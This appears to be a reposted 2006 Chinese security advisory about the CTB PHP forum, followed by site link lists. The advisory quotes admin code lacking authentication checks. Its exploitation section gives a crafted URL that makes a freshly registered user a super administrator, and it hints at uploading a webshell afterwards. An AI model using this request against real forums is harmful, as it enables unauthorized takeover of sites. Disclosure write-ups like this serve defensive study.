漂亮但不安全的CTB


Posted in PHP onOctober 09, 2006

>>>Dedicated This Scrap To CaoJing<<< 

涉及版本: 
^^^^^^^ 
目前所有版本(现在1.3Alpha为最高版本) 

描述: 
^^^^^^ 
CTB是一款由实易数码<11cn.org>;开发和维护的源代码开放的PHP论坛。由于其后台管理文件验证存在缺陷,可能导致非法用户直接添加论坛超级管理员,进而威胁论坛或服务器安全。 

具体: 
^^^^ 
CTB书写非常规范,代码井然有序,赏心悦目,的确是优美的程序;特别是其功能模块,着实让小弟学习了一把。但安全方面却令人堪忧: 

试看如下代码: 

/admin/main.php 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 
 //获取get变量 
   if( is_array($_GET) ) { 
      foreach($_GET as $k=>$v) { 
           if( is_array( $_GET[$k]) ) { 
               foreach($_GET[$k] as $k2=>$v2) { 
                   $return[$k][$k2] = $v2; 
               } 
           } else { 
               $return[$k] = $v; 
           } 
       } 

... 
$mod = isset($_GET['mod']) ? $_GET['mod'] : $_POST['mod']; 
   if (!file_exists($mod.".php" { 
       $mod = "mainright"; 
   } 
   require_once ($mod.".php"; 
   //----------------------------------------------------------------------------- 

   //初始化类变量 
   $ctb = new Module; 
   $ctb->set = $set; 
   $ctb->tplPath = "./templates"; 
   $ctb->input = $return; 
   $ctb->sess = isset($_COOKIE["sess_adminname"]) ? $_COOKIE : $_SESSION; 
   $ctb->execute(); 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 

这里没有任何验证,我们看看添加管理员的文件: 

/admin/systemuser.php 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 
class Module extends CommonClass 
//系统管理模块子类 

   function execute() { 
       switch($this->input['action']) { 
... 
case 'addSystemUser': 
               $this->addSystemUser(); 
               break; 
... 
    }       
   } 

function addSystemUser() 

   //输入数据简单格式化 
   $this->inputCheck("main.php?mod=systemuser&action=showSystemUser"; 
   //执行添加操作 
        $this->file = "../".$this->set[dataPath]."/users/list.php"; 
   $systemLine = $this->select(4, $this->input['systemUserName']); 
.... 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 

依然没有验证,一路顺利啊! 

利用方法: 
^^^^^^^ 
先注册一个用户: 

登陆ID:  cat 
用户名 :   dog 
密码:      ilikecat 
重复密码:  ilikecat 
信箱:      cat@dog.com 

接着提交如下URL: 

http://www.target.com/ctb/admin/main.php?mod=systemuser&systemUserName=dog&systemUserMode=1&action=addSystemUser

哈哈,你现在已经是超级管理员了,不相信?提交如下URL后台登陆: 

http://www.psych.com/ctb/admin/main.php?mod=login 

管理名称:  cat 
管理密码:  ilikecat 

咦...还真成功了! 

你现在是不是想更改后台上传文件类型,然后upload webshell?哼,被我猜到了吧... 

后记:另外发现CTB代码注释有些扎眼的错别字,大煞风景,希望可以一起修正。

PHP 相关文章推荐
php读取html并截取字符串的简单代码
Nov 30 PHP
php数据库抽象层 PDO
May 07 PHP
smarty巧妙处理iframe中内容页的代码
Mar 07 PHP
解析strtr函数的效率问题
Jun 26 PHP
php版小黄鸡simsimi聊天机器人接口分享
Jan 26 PHP
PHP实现的连贯操作、链式操作实例
Jul 08 PHP
php实现mysql备份恢复分卷处理的方法
Dec 26 PHP
在CentOS上搭建LAMP+vsftpd环境的简单指南
Aug 01 PHP
php array_keys 返回数组的键名
Oct 25 PHP
Laravel实现表单提交
May 07 PHP
Ecshop 后台添加新功能栏目及管理权限设置教程
Nov 21 PHP
Yii2 中实现单点登录的方法
Mar 09 PHP
自动跳转中英文页面
Oct 09 #PHP
随机头像PHP版
Oct 09 #PHP
1.PHP简介
Oct 09 #PHP
5.PHP的其他功能
Oct 09 #PHP
2.PHP入门
Oct 09 #PHP
4.与数据库的连接
Oct 09 #PHP
利用PHP创建动态图像
Oct 09 #PHP
You might like
PHP入门速成(2)
2006/10/09 PHP
PHP正确解析UTF-8字符串技巧应用
2012/11/07 PHP
json的键名为数字时的调用方式(示例代码)
2013/11/15 PHP
php广告加载类用法实例
2014/09/23 PHP
Laravel 在views中加载公共页面的实现代码
2019/10/22 PHP
一些Javascript的IE和Firefox(火狐)兼容性的问题总结及常用例子
2009/05/21 Javascript
jquery 简短几句代码实现给元素动态添加及获取提示信息
2011/09/01 Javascript
js写一个字符串转成驼峰的实例
2013/06/21 Javascript
JSON相关知识汇总
2015/07/03 Javascript
angularjs 源码解析之scope
2016/08/22 Javascript
Ajax和Comet技术总结
2017/02/19 Javascript
浅谈Vue父子组件和非父子组件传值问题
2017/08/22 Javascript
浅谈 Webpack 如何处理图片(开发、打包、优化)
2019/05/15 Javascript
javascript设计模式 ? 工厂模式原理与应用实例分析
2020/04/09 Javascript
详解Python的Django框架中的通用视图
2015/05/04 Python
python实现域名系统(DNS)正向查询的方法
2016/04/19 Python
python文本数据相似度的度量
2018/03/12 Python
Python中return self的用法详解
2018/07/27 Python
Python集中化管理平台Ansible介绍与YAML简介
2019/06/12 Python
django的model操作汇整详解
2019/07/26 Python
TensorFlow Saver:保存和读取模型参数.ckpt实例
2020/02/10 Python
pycharm不能运行.py文件的解决方法
2020/02/12 Python
pycharm全局搜索的具体步骤
2020/07/28 Python
OpenCV实现机器人对物体进行移动跟随的方法实例
2020/11/09 Python
python图片合成的示例
2020/11/09 Python
python中yield的用法详解
2021/01/13 Python
卡塔尔航空官方网站:Qatar Airways
2017/02/08 全球购物
丝芙兰波兰:Sephora.pl
2018/03/25 全球购物
澳大利亚当地社区首选的光学商店:1001 Optical
2019/08/24 全球购物
伦敦香水公司:The London Perfume Company
2019/11/13 全球购物
测试工程师职业规划书
2014/02/06 职场文书
春季运动会广播稿大全
2014/02/19 职场文书
房屋租赁协议书
2014/10/18 职场文书
2016大学生党校学习心得体会
2016/01/06 职场文书
2019行政前台转正申请书范文3篇
2019/08/15 职场文书
创业计划书之情侣餐厅
2019/09/29 职场文书